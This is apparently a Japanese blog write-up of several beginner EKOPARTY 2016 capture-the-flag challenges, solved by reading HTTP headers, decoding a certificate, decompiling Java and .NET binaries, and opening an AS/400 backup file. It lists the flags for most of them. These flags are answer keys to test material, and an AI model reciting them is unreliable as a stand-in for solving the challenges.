HTTP/1.1 301 Moved Permanently
Server: EKO{this_is_my_great_server}
Date: Thu, 27 Oct 2016 16:36:14 GMT
Content-Type: text/html
Content-Length: 178
Connection: keep-alive
Location: https://ctf.ekoparty.org/

HTTP/1.1 200 OK
Server: EKO{this_is_my_great_server}
Date: Thu, 27 Oct 2016 16:36:15 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 4518
Connection: keep-alive
Vary: Accept-Encoding
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Strict-Transport-Security: max-age=63072000; preload

FBI50

tor browserでurlにアクセスすると拒まれるので詳細を見るとなんかbase64ぽいテキストが降ってきてる。

https://silkroadzpvwzxxv.onion/ Peer's Certificate issuer is not recognized. HTTP Strict Transport Security: false HTTP Public Key Pinning: false Certificate chain: -----BEGIN CERTIFICATE----- MIIGezCCBGOgAwIBAgIJAMwj5f0QisI6MA0GCSqGSIb3DQEBCwUAMIHTMQswCQYD VQQGEwJBUjEVMBMGA1UECAwMQnVlbm9zIEFpcmVzMRUwEwYDVQQHDAxCdWVub3Mg QWlyZXMxETAPBgNVBAoMCEVLT1BBUlZMT4wPAYDVQQLDDU1MCAtIEVLT3tpc190 aGlzX2p1c3RfcmVhbF9saWZlX2lzX3RoaXNfanVzdF9mYW50YXN5fTEfMB0GA1UE AwwWc2lsa3JvYWR6cHZ3enh4di5vbmlvbjEiMCAGCSqGSIb3DQEJARYTc3RhZmZA bnVsbC1saWZlLmNvbTAeFw0xNjEwMjMwNTA3NDNaFw0xNzEwMjMwNTA3NDNaMIHT MQswCQYDVQQGEwJBUjEVMBMGA1UECAwMQnVlbm9zIEFpcmVzMRUwEwYDVQQHDAxC dWVub3MgQWlyZXMxETAPBgNVBAoMCEVLT1BBUlRZMT4wPAYDVQQLDDU1MCAtIEVL T3tpc190aGlzX2p1c3RfcmVhbF9saWZlX2lzX3RoaXNfanVzdF9mYW50YXN5fTEf MB0GA1UEAwwWc2lsa3JvYWR6cHZ3enh4di5vbmlvbjEiMCAGCSqGSIb3DQEJARYT c3RhZmZAbnVsbC1saWZlLmNvbTCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoC ggIBAL4ba3WHH2Fcv2lIhosWZFO8ya3dnEIMtDxzh7pDffCVd2Vlch7ov8M4M+9x xm278Clmn2nD21T3pnzPPeOcCFaDJ5v/K6idhBgYLlnzBzQrCS9VAwoH9zW+8gkW 0p74xNc8ARyvioEY4NbsET0KjUpBUn9Yx/FaHNNKqbObHG1btLqZzsYR30xTaVin 9/9SPGJ3s6vszhVocYNBJ1UQR64qn1XdV5n3ctLSByj727Bi/TLZVSv94cSBZhxV BGklPF2CQDL5vO2UyqFH4OGVCdRLkYwcoHfCVbRUOGRxqn6+Y7wtoNWIIAZnlRSH IPN+MVo76vpKjFtCCHgKyxzUkxhcqvOgi5tm+AYoC9cUe4X6cdCMbZis52dx3oJu sIpdGLZnzgZdtB48qmRzY+6MWw+URaHsXv6HtKcgZVoYTex+7hza55+xU61vejsB LkBZ/iQjl2fCu94jDMvTNg2cl3JOxXVNaa7tAKQiz7vzhxKPYTv10cFPUGGroYye PQxOES42WXOqk32OUUWRGys+Rn8q0Xm5OSt2e7UUInstBNvbaqkwPII1ucgny1K1 +rbcQZD4suLsR/cM1S9jh2vzE67xXLT8k9AVOg7BEeXweNx8ERXkr4m2qCzJWcYI ustW2cLM9Nme6We6VJNlp5sRqvJt3ziwikWhyzIXvwKPWE/bAgMBAAGjUDBOMB0G A1UdDgQWBBTLUK1VpT8hwRGVOD5xWjKIHaMb4DAfBgNVHSMEGDAWgBTLUK1VpT8h wRGVOD5xWjKIHaMb4DAMBgNVHRMEBTADAQH/MA0GCSqGSIb3DQEBCwUAA4ICAQB/ p8XQyV9sRmO5jttr9yXNH/6hgp0ICxnqjJM77MsQuTV4WSiVC2WsCr9llN6meXRy /f6nhV6HOIox77doW8v87bl0YzLIj/3MUS/8kHI7qxKUV/0sk/0E07BmJyvlyIcP ErDUbxDY0eHFBAha6rubQvvuV3jSiuhwmpMI7N28idgg6+u1nPmv7NMOueJoMw6f 0yVGukoJJ5XMBMUnnlL/55T3HGaCIL8yMPIdhVPWbgyaoni3hlsvkQRzOtYIPddl KRJkdXTQCuNHf38ZI6AX4/KxuXEaqcJ+KmS64X42AWvTNuuW0Y8fYQyw/7qGOAPd BmaN0MEZHSmQgbAGnQyf6LPrLUyhSI/K6+B52RzxgDsEgLpS+LATG2b39ks//QKj IbUcKJO8a8cp1v9FvBKNKuHTGL+jvXWQAYemYFy7ZIyslU7ETwKja7HQkqVTekwn dUI+KVWmEvsrNSsYh1bfBoP1NsrlqGg7v9HotJdw72tViIk7whsLWFCelbtV8HFb B/IbPlEwCdQbClgHtqGvbXREJhIbi26KPlwx0gxFlfC0gpJ4+/Ldj1HnEiT6hV+U xsM51S4pMBi/Q2fUBp12+un3Y+si2avEWpvf0DJH5dlR6eVR2nFl1XR7asdK7XKn K/XyPGm50rsgpjTs0AywX/ShCUhu65EfBM5tI36prg== -----END CERTIFICATE----- 

これをデコードするとフラッグっぽい文字列があるのでそれを投げる(これFBI25だと思って投げまくってた)

flag: EKO{is_this_just_real_life_is_this_just_fantasy}

追記: ウェブページにアクセスしたら普通にSecurityのとこに EKO{is_this_just_real_life_is_this_just_fantasy} と書かれてた。 多分こっちが正攻法

rev25

zipが降ってきて中に.classが入ってるのでデコンパイルして読むだけ。

flagは忘れた。

rev50

zipの中にexeバイナリ。

dotPeekでデコンパイルしてC#コードをpaiz.ioあたりで実行して終わり。

flag: f#ck_this_sh#t

rev75

またもやzipの中に.netの実行ファイル。

デコンパイルして読んで終了。

flag: EKO{ooOOoo_sup3r_r3g3x_challenge_OOooOO}

FBI25

tor browserの設定変えたらアクセスできた。

ソース見るとflag書いてる。

flag: EKO{buy_me_some_b0ts}

rev100

.SAVFという謎拡張子が降ってくる。

調べると、AS/400のバックアップファイルのようである。

適当に調べてると、 https://groups.google.com/forum/#!topic/comp.sys.ibm.as400.misc/vhpOmy_Ttzgという記事がヒットし、

このソフトを使えばいいよってかいてるのでありがたく使う。

http://www.juliansoft.com/

flag: EKO{0ld_t1m3s_n3v3r_c0m3_b4ck}

感想

すぐ終わる奴だけ。ぼっちつらい。